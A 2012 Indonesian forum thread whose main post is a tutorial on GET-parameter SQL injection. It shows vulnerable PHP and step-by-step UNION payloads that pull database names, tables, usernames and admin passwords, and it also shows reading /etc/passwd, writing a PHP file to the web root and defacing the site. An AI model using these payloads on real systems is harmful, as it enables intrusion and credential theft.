- Tempat Nongkrong Para GIRILAYA mania -


You are not connected. Please login or register

Topik sebelumnya Topik selanjutnya Go down  Message [Halaman 1 dari 1]

1Serangan GET Methode Empty Serangan GET Methode Sun 28 Oct 2012, 19:03

Admin

Admin
Admin
Admin
Salah satu bug yang paling ditakuti di dunia pemrograman web adalah : SQL Injection Vulnerability. Dalam dunia hacking sering disebut dengan SQLiv. Bug ini termasuk paling banyak dijumpai publikasinya di situs-situs pempublish bug dan hacking. SQL Injection ini termasuk bug dengan jenis resiko tinggi. Injeksi SQL biasanya dilakukan dengan cara memasukkan perintah atau sintaks tambahan ke dalam FORM yang ada dalam web tersebut, baik FORM di address bar, maupun FORM yang ada pada content.


Dasar Teknis

1. Serangan GET Methode

Dalam membuat web, biasanya kita akan gunakan pemanggilan ID atau kode unik untuk mengundang suatu konten. Misal:

Code:
http://satuduatiga/index.php?mod=news&id=12

Kira-kira, proses SQL yang dibentuk adalah :

Code:
$id = $_GET['id'];
 
$query = "SELECT * FROM `news` WHERE `id`='$id'";

Apa yang terjadi apabila seseorang menambahkan perintah di belakangnya?

Code:
http://satuduatiga/index.php?mod=news&id=12 and 1=1

dan selanjutnya? Jika penambahan 1=1 dan 1=0 menghasilkan efek yang berbeda, dengan

Code:
1=1 posting/berita tetap muncul (tidak error)

1=0 berita tidak muncul (error)

Error message memang bisa saja ditutup dengan mengganti value PHP.INI dengan display_errors=’false’. Namun proses error tetap saja terjadi. Maka sebenarnya sintaks perintah di belakang parameter ID itu diproses oleh script. Berbahaya? Ya, sangat berbahaya. Biasanya penyusup akan menggunakan methoda UNION untuk melakukan serangan selanjutnya. Anggap dalam tabel berita bagian yang diambil adalah terdapat 4 kolom/field

SELECT `judul`,`isi`,`penulis`,`tanggal` FROM `news` WHERE `id`='$id'



Proses UNION adalah proses dua SELECT yang harus memiliki jumlah field terpanggil yang sama. Jika sampai proses UNION tidak sama jumlah fieldnya, maka akan terjadi error. Error adalah informasi berharga untuk seorang intruder. Misal si intruder mencoba melakukan pemanggilan sebagai berikut :



Code:
http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1

maka halaman tersebut tidak akan muncul content. Maka dia bisa melanjutkan

[You must be registered and logged in to see this link.] UNION SELECT 1,2

hingga

[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,4



Pada saat itu, halaman selain menunjukkan posting content tersebut, juga akan menampilkan tulisan 1,2,3,4 sesuai dengan fieldnya. Saat itulah si intruder memanfaatkan seperti berikut:

Pencarian versi MySQL

[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,@@version



Pencarian nama database yang aktif

Code:
http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,database()



Pencarian nama user database aktif

[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,user()



Pencarian nama database lain

[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT DISTINCT TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA not in('INFORMATION_SCHEMA','mysql','test') LIMIT 1)



Pencarian nama tabel untuk database ‘web’ misal

[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT TABLE_NAME from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA ='web' AND TABLE_NAME not in('coba','test','anu') LIMIT 1)

Pencarian nama kolom / field untuk tabel ‘user’ dalam database ‘web’ misal

[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA ='web' AND TABLE_NAME ='user' AND COLUMN_NAME not in('test') LIMIT 1)



Pencarian data dalam kolom user atau password

[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT username FROM user LIMIT 1)

[You must be registered and logged in to see this link.] UNION SELECT 1,2,3,(SELECT password FROM user WHERE username='admin')



Setelah mendapatkan user dan password dari tabel user, maka dapat dieksekusi Login ke dalam form. Proses lain dapat juga dengan mencoba membaca file dalam sistem atau menulis file dalam sistem



Code:
SELECT load_file('/etc/passwd');
 
SELECT 'test' INTO OUTFILE('/var/www/hack.php');

atau bahkan

UPDATE news SET judul='hacked';

Cerita mengenai hacking dengan sql injection akan dibahas dalam posting lain.

http://forum.girilaya.com

2Serangan GET Methode Empty Re: Serangan GET Methode Wed 21 Nov 2012, 14:26

kimbut

kimbut
Tamu
Tamu
untuk SQLnya dieksekusi dimana ya om?
Code:
SELECT 'test' INTO OUTFILE('/var/www/hack.php');
bingung nih..
kalo dari url kayaknya gak bisa, kan sintaknya :
Code:
$id = $_GET['id'];
$query = "SELECT * FROM `news` WHERE `id`='$id'";
terus kalo ketambahanan SQL jadi :
SELECT * FROM `news` WHERE `id`='1 and (SELECT 'test' INTO OUTFILE('/var/www/hack.php'))'
tak coba malah error *mewek

3Serangan GET Methode Empty Re: Serangan GET Methode Thu 22 Nov 2012, 16:44

Admin

Admin
Admin
Admin
memang yang dicari itu ERRORnya mz....

harus ada perbedaan antara sebelum dan sesudah ditambahin SYNtAX

harus pandai2 melihat ERROR pagenya mz.

http://forum.girilaya.com

4Serangan GET Methode Empty Re: Serangan GET Methode Tue 23 Jul 2013, 22:31

jaka_kentir

jaka_kentir
Warga
Warga
ijin ikut nyimak dan belajar, sepertinya para sepuh sdh mulai unjuk taring. :)

Sponsored content


Topik sebelumnya Topik selanjutnya Kembali Ke Atas  Message [Halaman 1 dari 1]

Permissions in this forum:
Anda tidak dapat menjawab topik

Ping your blog, website, or RSS feed for Free
ping fast  my blog, website, or RSS feed for Free

 

pagerank analyzerW3 Directory - the World Wide Web Directory

© 2014 Copyright Girilaya Real Groups - All Rights Reserved | Back to Top